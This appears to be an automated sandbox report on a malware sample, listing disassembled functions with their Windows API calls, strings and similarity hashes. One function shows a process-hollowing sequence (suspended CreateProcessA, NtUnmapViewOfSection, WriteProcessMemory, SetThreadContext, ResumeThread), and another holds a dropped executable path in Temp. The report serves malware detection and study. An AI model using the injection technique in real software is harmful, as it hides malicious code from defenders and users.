Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce8c9ceaf84ea3b92a7f0c2ab71d5b65cbe47a55ad142398dd6e45a7235af084
Instruction ID: 55060a1dabbd20b4a53bca426bd4b20c79d125fc3f166ad4cfc500d63973d7b6
Opcode Fuzzy Hash: ce8c9ceaf84ea3b92a7f0c2ab71d5b65cbe47a55ad142398dd6e45a7235af084
Instruction Fuzzy Hash: 4BD06C3200020DBFDF129F84DC06EDA3BAAFB48714F014000BA1856020C732E872EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F0E3D0, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0002BF20), ref: 00F0E41B

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 94ae47ff2c08dcbf8751c8e42576d6e5234351b8dfde5610a1a1499504b7ff23
Instruction ID: a446f5e894d17075075cc3191365503f50a6b44474bf149bdef88022a5257a70
Opcode Fuzzy Hash: 94ae47ff2c08dcbf8751c8e42576d6e5234351b8dfde5610a1a1499504b7ff23
Instruction Fuzzy Hash: 89E0129AF40120A7C45832BD1D3763E7D156AD2774B950598EC422B3D7ED89191533D3

Uniqueness

Uniqueness Score: -1.00%

Function 00F0E470, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0002BF20), ref: 00F0E4BB

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5a4898950d2e0d8d25b271f65779db50f47d680439f883410552dce105919166
Instruction ID: 0753b744bd25051a61ddc6927462e5de12b5635105cba7e8e2ccd7619a628ea0
Opcode Fuzzy Hash: 5a4898950d2e0d8d25b271f65779db50f47d680439f883410552dce105919166
Instruction Fuzzy Hash: 9BE0C25AF00120A3C81432BD1C3753E38151AC2774B840588EC422B3D7ED8C091133E3

Uniqueness

Uniqueness Score: -1.00%

Function 00F0E420, Relevance: 1.3, APIs: 1, Instructions: 24sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0002BF20), ref: 00F0E46B

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6c532a2349a433098671f4ba20a66b869f4f7c9822ecbfe03b4e5adedcfeec78
Instruction ID: dc21e6b8909a830cd80cc4203b810c99af166f698472d69a25d502c9ed4771ba
Opcode Fuzzy Hash: 6c532a2349a433098671f4ba20a66b869f4f7c9822ecbfe03b4e5adedcfeec78
Instruction Fuzzy Hash: 7FE0C25AF4002063C404327D0D3353E78151AC2734B84098CEC422B3D7ED89091133E3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F02250, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 00F0226C
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00F022C5
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00F022DE
GetThreadContext.KERNEL32(?,00000000), ref: 00F022F3
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00F02316
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 00F0232E
GetProcAddress.KERNEL32(00000000), ref: 00F02335
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 00F02354
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 00F0236F
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 00F023AC
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 00F023DC
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 00F023F2
ResumeThread.KERNEL32(?,?,?,00000000), ref: 00F023FB
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000), ref: 00F02409
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00F02420

Strings

NtUnmapViewOfSection, xrefs: 00F02324
ntdll.dll, xrefs: 00F02329

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1050664331
Opcode ID: 907f6451f7a9b447875fda73a83489c96aea5df2ebf8b6ce685065cfee58c014
Instruction ID: 50e70a5fccd9f4fd41c1657543bc50e6b030cc12e77af2a2a1a8b38848816d37
Opcode Fuzzy Hash: 907f6451f7a9b447875fda73a83489c96aea5df2ebf8b6ce685065cfee58c014
Instruction Fuzzy Hash: 94518E71A44308BBEB20DF94DC45FAABB78FF08705F504064F608E61D0D7B4A955EB64

Uniqueness

Uniqueness Score: -1.00%

Function 00F1CB2C, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00F1CB70

Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C726
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C738
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C74A
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C75C
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C76E
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C780
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C792
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7A4
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7B6
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7C8
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7DA
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7EC
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7FE

_free.LIBCMT ref: 00F1CB65

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000,00000000), ref: 00F16629

_free.LIBCMT ref: 00F1CB87
_free.LIBCMT ref: 00F1CB9C
_free.LIBCMT ref: 00F1CBA7
_free.LIBCMT ref: 00F1CBC9
_free.LIBCMT ref: 00F1CBDC
_free.LIBCMT ref: 00F1CBEA
_free.LIBCMT ref: 00F1CBF5
_free.LIBCMT ref: 00F1CC2D
_free.LIBCMT ref: 00F1CC34
_free.LIBCMT ref: 00F1CC51
_free.LIBCMT ref: 00F1CC69

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 7d97cc1aabb52b6b36abc54aa88f0023bd20341d82482195772384560fe3c5e5
Instruction ID: 5c6ee7a78e03005171ad682400deb9682bec87fec8fe31ae0543773e5ff74c16
Opcode Fuzzy Hash: 7d97cc1aabb52b6b36abc54aa88f0023bd20341d82482195772384560fe3c5e5
Instruction Fuzzy Hash: A6315B71A48340DFEB21AA79DC46BD6B3E9AF40321F104429E458DB191DF36ECD0EB94

Uniqueness

Uniqueness Score: -1.00%

Function 00F16DDA, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F16DF0

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000,00000000), ref: 00F16629

_free.LIBCMT ref: 00F16DFC
_free.LIBCMT ref: 00F16E07
_free.LIBCMT ref: 00F16E12
_free.LIBCMT ref: 00F16E1D
_free.LIBCMT ref: 00F16E28
_free.LIBCMT ref: 00F16E33
_free.LIBCMT ref: 00F16E3E
_free.LIBCMT ref: 00F16E49
_free.LIBCMT ref: 00F16E57

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8024a25616af8af3f6de98d5b01051ca1d673dbf2e87216e550a2446d3817259
Instruction ID: f101fec63f22d65194315aeec6bab0d25bb2c74281fb69f70e5e7b7a3ccee372
Opcode Fuzzy Hash: 8024a25616af8af3f6de98d5b01051ca1d673dbf2e87216e550a2446d3817259
Instruction Fuzzy Hash: 69215476900108EFCB41EF94C881DDEBBB9AF08355B0141A6F915DB162DB36EA94AB80

Uniqueness

Uniqueness Score: -1.00%

Function 00F1A84A, Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2552bff0ccd2b7e8b1c9b39f0e61407153ad4b16057c9b8318243991ac04f4b4
Instruction ID: da6670550e540ab0810be6c30fb7faf53a944ae4ef4f27a5d31d66e33d60f8c2
Opcode Fuzzy Hash: 2552bff0ccd2b7e8b1c9b39f0e61407153ad4b16057c9b8318243991ac04f4b4
Instruction Fuzzy Hash: 17C10870E092899FDB15DF98CC81BEDBBB2BF89320F044059E514A7291D7359DC2EB22

Uniqueness

Uniqueness Score: -1.00%

Function 00F10A40, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00F10A77
___except_validate_context_record.LIBVCRUNTIME ref: 00F10A7F
_ValidateLocalCookies.LIBCMT ref: 00F10B08
__IsNonwritableInCurrentImage.LIBCMT ref: 00F10B33
_ValidateLocalCookies.LIBCMT ref: 00F10B88

Strings

csm, xrefs: 00F10B1D
csm, xrefs: 00F10BB1

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: 0c2710ed502369074039e46c9a34329ffd2b48d0633dc0e02a70628e46c7f6af
Instruction ID: d84df8460821d063720e7eb7143c9512b3e62687f3607e7eb69ed6ed91900517
Opcode Fuzzy Hash: 0c2710ed502369074039e46c9a34329ffd2b48d0633dc0e02a70628e46c7f6af
Instruction Fuzzy Hash: 7051A334E00209DFCF14EF28D850ADE7BA5BF44324F1481A9E8059B392DBB5D9C6EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F1BF44, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00F1BF6E
_free.LIBCMT ref: 00F1C047
_free.LIBCMT ref: 00F1C074

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: f7202e189e44ffb452b7120de92189c78747feec34317cfb16401a0e1a97b16a
Instruction ID: 4f6c93195220455d7dddc8481c86e4e5919188ddb64d57934aa37be95d890888
Opcode Fuzzy Hash: f7202e189e44ffb452b7120de92189c78747feec34317cfb16401a0e1a97b16a
Instruction Fuzzy Hash: 0251F571D84255EFDB20AFB49C42AFE7BA4AF05720F044169E510E7282EB7699C0FBD4

Uniqueness

Uniqueness Score: -1.00%

Function 00F171AC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

ext-ms-, xrefs: 00F17217
api-ms-, xrefs: 00F17203

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 082c091e63ecc1a547019d3dd37f1d6e0de4db683b6279a7a499c91f30c30612
Instruction ID: 75b676ea6c2c3a7438d30b1b479ed4d7ff38c85734e556b356bfdc374de42676
Opcode Fuzzy Hash: 082c091e63ecc1a547019d3dd37f1d6e0de4db683b6279a7a499c91f30c30612
Instruction Fuzzy Hash: 3A21C632E0D365E7CB316A649C45EDA36789F557B0B210150FD1EA7290D670DD42BEE0

Uniqueness

Uniqueness Score: -1.00%

Function 00F1C8A8, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00F1C870: _free.LIBCMT ref: 00F1C895

_free.LIBCMT ref: 00F1C8F6

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000,00000000), ref: 00F16629

_free.LIBCMT ref: 00F1C901
_free.LIBCMT ref: 00F1C90C
_free.LIBCMT ref: 00F1C960
_free.LIBCMT ref: 00F1C96B
_free.LIBCMT ref: 00F1C976
_free.LIBCMT ref: 00F1C981

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6cd0b8cb4d40afac903e53b7985856a57367b62d0dae06027e3d0fb788c86ede
Instruction ID: ae99d7b38919dfe8271687c870b6ddecb38f14b375620b11c9c92f2a55da8c6a
Opcode Fuzzy Hash: 6cd0b8cb4d40afac903e53b7985856a57367b62d0dae06027e3d0fb788c86ede
Instruction Fuzzy Hash: 171181715D0B04FAEA20B7B1CC87FCBB79D9F01710F400824B299EA052EB3AF595A6D0

Uniqueness

Uniqueness Score: -1.00%

Function 00F18457, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00F03D80,00000000), ref: 00F1849F
__fassign.LIBCMT ref: 00F1867E
__fassign.LIBCMT ref: 00F1869B
WriteFile.KERNEL32(?,00F03D80,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F186E3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00F18723
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F187CF

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 32e52bd375f3f5b1997492bb121bd2a6ccc1c15e75b6fa3f303885303645d6e9
Instruction ID: 4f8109bb12adb53f58e68d9cff3a59482443a8845a86bc19a978a294444e78fb
Opcode Fuzzy Hash: 32e52bd375f3f5b1997492bb121bd2a6ccc1c15e75b6fa3f303885303645d6e9
Instruction Fuzzy Hash: AFD1AC75D002589FCF15CFA8C9809EDBBB5FF48364F28016AE855BB281DB30AD86DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F10E44, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00F10E3B,00F10CA9,00F105B7), ref: 00F10E52
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F10E60
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F10E79
SetLastError.KERNEL32(00000000,00F10E3B,00F10CA9,00F105B7), ref: 00F10ECB

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e168135850fdd57b9c0da97ad267b2e50f27a97e2921464c3c35722c35b894b8
Instruction ID: e0a2ab848f5c19e22d65207dd5d9b902276e458e224a63ff5740201f04205297
Opcode Fuzzy Hash: e168135850fdd57b9c0da97ad267b2e50f27a97e2921464c3c35722c35b894b8
Instruction Fuzzy Hash: 4201D473A09716AEE62827767D95AD73A59FB05774B20062AF614801E2EFA64CC1B240

Uniqueness

Uniqueness Score: -1.00%

Function 00F1B498, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe, xrefs: 00F1B49D

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
API String ID: 0-4023108300
Opcode ID: 3334f3d4d9cdf8dd5d1666523ad0da7d2762fa2096f32bc3a1d4fd5994c75b9c
Instruction ID: 7d82eda4c1d2f9b2145a68edad359a1b82073b1c045a23cf7fe64ddde1787f9f
Opcode Fuzzy Hash: 3334f3d4d9cdf8dd5d1666523ad0da7d2762fa2096f32bc3a1d4fd5994c75b9c
Instruction Fuzzy Hash: E521A172A08209FF9B20AF658C85DEB77ADEF003787144514FA29D7151EB35ED81BBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F12C0B, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00F12C4D

Strings

.bat, xrefs: 00F12C7C
.exe, xrefs: 00F12C5A
.cmd, xrefs: 00F12C6B
.com, xrefs: 00F12C8D

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: e691bc8ca52c1fa40ef4a6ba9725ce27e2482b8d9f0f7491b04321e0b8dfefbf
Instruction ID: 004d19dd4347b9d2438e4a0603e5e8ca78f51bbc5df1729760b07b660a92e675
Opcode Fuzzy Hash: e691bc8ca52c1fa40ef4a6ba9725ce27e2482b8d9f0f7491b04321e0b8dfefbf
Instruction Fuzzy Hash: 28012B27E0C326259A546099BE426BE73A98F91BB0725002AFD48F71C0EE8CDDA231D1

Uniqueness

Uniqueness Score: -1.00%

Function 00F11154, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 00F111A4

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 55b8a61b326b4f047550f42585da118a3d0b9c854c66dbbd43fb993e988c7387
Instruction ID: c1e3304fdaa29ac71ae50cd16d98c64eca04d29f0bc64d8f22151a22fcb9f17d
Opcode Fuzzy Hash: 55b8a61b326b4f047550f42585da118a3d0b9c854c66dbbd43fb993e988c7387
Instruction Fuzzy Hash: E0119636E0A629FBCB229BA49C44B9BB75CBF017B0B210151EF05B7290D630DE41F6E0

Uniqueness

Uniqueness Score: -1.00%

Function 00F12203, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00F121F8,?,?,00F121C0,00F03D80,73B76490,?), ref: 00F12218
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00F1222B
FreeLibrary.KERNEL32(00000000,?,?,00F121F8,?,?,00F121C0,00F03D80,73B76490,?), ref: 00F1224E

Strings

mscoree.dll, xrefs: 00F12211
CorExitProcess, xrefs: 00F12223

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7567cf7be4e3f0b54ca404668debd50db6737ef08af4b819c84c3c849ea1c1f4
Instruction ID: 2a24dca367571b9b11d253c7c0827ad25737b88deab74899620797e2b45a5201
Opcode Fuzzy Hash: 7567cf7be4e3f0b54ca404668debd50db6737ef08af4b819c84c3c849ea1c1f4
Instruction Fuzzy Hash: FCF08230A08358FBEB21AB90DD0ABDEBA68EF40765F000090F800A11A0CB708E55FE90

Uniqueness

Uniqueness Score: -1.00%

Function 00F1C807, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F1C81F

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000,00000000), ref: 00F16629

_free.LIBCMT ref: 00F1C831
_free.LIBCMT ref: 00F1C843
_free.LIBCMT ref: 00F1C855
_free.LIBCMT ref: 00F1C867

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
